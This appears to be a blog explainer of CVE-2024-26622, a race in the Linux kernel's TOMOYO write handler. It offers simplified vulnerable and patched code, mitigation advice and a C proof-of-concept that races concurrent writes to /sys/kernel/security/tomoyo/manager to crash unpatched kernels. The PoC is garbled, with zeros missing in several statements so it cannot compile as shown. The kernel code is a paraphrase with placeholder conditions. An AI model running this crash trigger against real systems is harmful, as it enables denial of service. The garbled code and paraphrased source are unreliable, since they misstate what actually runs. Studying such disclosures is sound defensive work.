In early 2024, a serious vulnerability—CVE-2024-26622—was found and patched in the Linux kernel’s Tomoyo module. This bug involved use-after-free (UAF) writes and possible double-frees caused by the way tomoyo_write_control() handled concurrent writes, especially for long lines. If left unpatched, this could allow attackers to trigger kernel memory corruption, potentially leading to privilege escalation or denial-of-service on Linux systems that enabled TOMOYO Mandatory Access Control (MAC).
This post explains, in simple language, what the bug is, shows the vulnerable code, demonstrates how it can be exploited, and links to original resources for your reference.
What is TOMOYO?
TOMOYO is a Linux Security Module (LSM) used to implement Mandatory Access Control (MAC) policies to limit what resources a program can access. It is often used in security-critical environments.
What Went Wrong
The core problem was in the function tomoyo_write_control(), which is called whenever user space writes data to /sys/kernel/security/tomoyo/ interface files. When multiple programs performed concurrent write() calls—especially with long lines—the function sometimes freed and reused buffers without proper locking. This could result in:
Memory being freed twice (Double-Free)
These are classic memory corruption issues. In the Linux kernel, they can be fatal and exploitable.
Here is the relevant portion of the vulnerable code. See comments below for the problem area
static ssize_t tomoyo_write_control(struct file *file, const char __user *buffer,
size_t count, loff_t *ppos)
{
struct tomoyo_io_buffer *head = file->private_data;
char *wbuf = head->write_buf;
...
down(&head->io_sem); // Lock acquired
// ... some logic ...
if (some_condition) {
kfree(wbuf); // Memory is freed here
wbuf = kzalloc(new_size, GFP_KERNEL);
head->write_buf = wbuf;
}
// ... then overwrites head->write_buf ...
up(&head->io_sem); // Release lock
}
The Problem
wbuf is read from head->write_buf *before* acquiring the lock (io_sem). If another thread writes to the same file at the same time, memory handling becomes unsafe. This can lead to UAF/double-free bugs.
The Fix (After Patch)
The fix is to fetch head->write_buf *after* the semaphore io_sem is locked. So, the patched version looks like this:
static ssize_t tomoyo_write_control(struct file *file, const char __user *buffer,
size_t count, loff_t *ppos)
{
struct tomoyo_io_buffer *head = file->private_data;
char *wbuf;
...
down(&head->io_sem); // Lock acquired
wbuf = head->write_buf; // Fetch after lock
if (some_condition) {
kfree(wbuf);
wbuf = kzalloc(new_size, GFP_KERNEL);
head->write_buf = wbuf;
}
...
up(&head->io_sem); // Release lock
}
With this change, there is no race condition, and no UAF is possible.
System must have the TOMOYO LSM enabled in the kernel.
- Attacker has ability to write (even as unprivileged user) to TOMOYO's sysfs control file (usually /sys/kernel/security/tomoyo/...).
Proof-of-Concept (PoC) in C
Below is a minimal PoC that demonstrates a simple version of the race (it may crash a vulnerable kernel):
#include <pthread.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define TOMOYO_PATH "/sys/kernel/security/tomoyo/manager"
void *writer(void *arg) {
int fd = open(TOMOYO_PATH, O_WRONLY);
if (fd < ) { perror("open"); return NULL; }
char buf[4096];
memset(buf, 'A', sizeof(buf) - 1);
buf[sizeof(buf) - 1] = '\n';
for (int i = ; i < 10000; i++) {
lseek(fd, , SEEK_SET);
write(fd, buf, sizeof(buf));
}
close(fd);
return NULL;
}
int main() {
pthread_t t1, t2;
pthread_create(&t1, NULL, writer, NULL);
pthread_create(&t2, NULL, writer, NULL);
pthread_join(t1, NULL);
pthread_join(t2, NULL);
return ;
}
Note:
On a vulnerable system, it may cause a kernel crash or unexpected behavior.
- Proof-of-practical-exploit for privilege escalation is left as an exercise for security researchers, as memory corruption is needed to gain control.
Linux kernels prior to 6.7.2 or 6.6.16 with TOMOYO enabled and accessible are vulnerable.
- Most distributions do not enable TOMOYO by default, but security-focused or custom-built kernels sometimes do.
Mitigation and Patch Information
1. Upgrade kernel to 6.7.2, 6.6.16 or later, or apply backported patches from your Linux distributor.
If you do not use TOMOYO, consider disabling it (disable the kernel module or at build time).
3. Restrict access to /sys/kernel/security/tomoyo/ control interfaces as much as possible.
Official Patch
- Upstream patch link
- Linux stable advisory
- NVD CVE entry
References
- Kernel.org commit 019a2d6d9b771b92c003adf7d43e00f9f01428aa
- Openwall oss-security list discussion
- Red Hat CVE Page
- TOMOYO Project
Conclusion
CVE-2024-26622 shows that even mature Linux kernel code can suffer from classic race condition bugs, with potentially severe consequences. While TOMOYO is a less common LSM for many users, its code must be robust, and critical bugs like this highlight the importance of proper locking in concurrent code. If you maintain custom kernels or security-sensitive environments, update immediately and audit your attack surface!
Timeline
Published on: 03/04/2024 07:15:11 UTC
Last modified on: 12/11/2024 17:36:15 UTC